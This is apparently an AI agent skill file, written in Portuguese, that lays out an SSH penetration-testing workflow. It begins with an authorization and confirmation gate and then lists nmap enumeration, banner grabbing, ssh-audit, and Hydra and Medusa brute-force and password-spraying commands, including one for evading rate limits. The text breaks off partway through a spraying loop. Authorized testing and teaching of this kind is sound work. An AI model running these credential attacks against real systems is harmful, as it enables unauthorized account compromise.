⚠️ APENAS USO AUTORIZADO Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido. Porta de confirmação obrigatória Antes de qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo, solicite a URL, IP, conta ou recurso exato do alvo e a confirmação da autorização por escrito e do escopo permitido. Mostre o(s) comando(s) exato(s), explique seu efeito esperado e aguarde a confirmação explícita na conversa atual. Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Teste de Penetração SSH

Propósito

Conduzir avaliações abrangentes de segurança SSH, incluindo enumeração, ataques a credenciais, exploração de vulnerabilidades, técnicas de tunelamento e atividades pós-exploração. Esta habilidade abrange a metodologia completa para testar a segurança do serviço SSH.

Pré-requisitos

Ferramentas Necessárias

• Nmap com scripts SSH
• Hydra ou Medusa para brute-force
• ssh-audit para análise de configuração
• Metasploit Framework
• Python com a biblioteca Paramiko

Conhecimento Necessário

• Fundamentos do protocolo SSH
• Autenticação por chave pública/privada
• Conceitos de encaminhamento de porta
• Proficiência na linha de comando Linux

Saídas e Entregas

1. Relatório de Enumeração SSH - Versões, algoritmos, configurações
2. Avaliação de Credenciais - Senhas fracas, credenciais padrão
3. Avaliação de Vulnerabilidades - CVEs conhecidas, configurações incorretas
4. Documentação de Túneis - Configurações de encaminhamento de porta

Fluxo de Trabalho Principal

Fase 1: Descoberta de Serviço SSH

Identifique serviços SSH em redes alvo:

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100

Fase 2: Enumeração SSH

Colete informações detalhadas sobre serviços SSH:

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

Fase 3: Auditoria de Configuração SSH

Identifique configurações fracas:

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

Principais fraquezas de configuração a serem identificadas:

• Algoritmos de troca de chaves fracos (diffie-hellman-group1-sha1)
• Cifras fracas (arcfour, 3des-cbc)
• MACs fracos (hmac-md5, hmac-sha1-96)
• Versões de protocolo obsoletas

Fase 4: Ataques a Credenciais

Brute-Force com Hydra

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Brute-Force com Medusa

# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

Password Spraying

# Testar senha comum em vários usuários
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Múltiplas senhas comuns
for pass in "Password123" "Welcome1" "Summer2024!"; do

…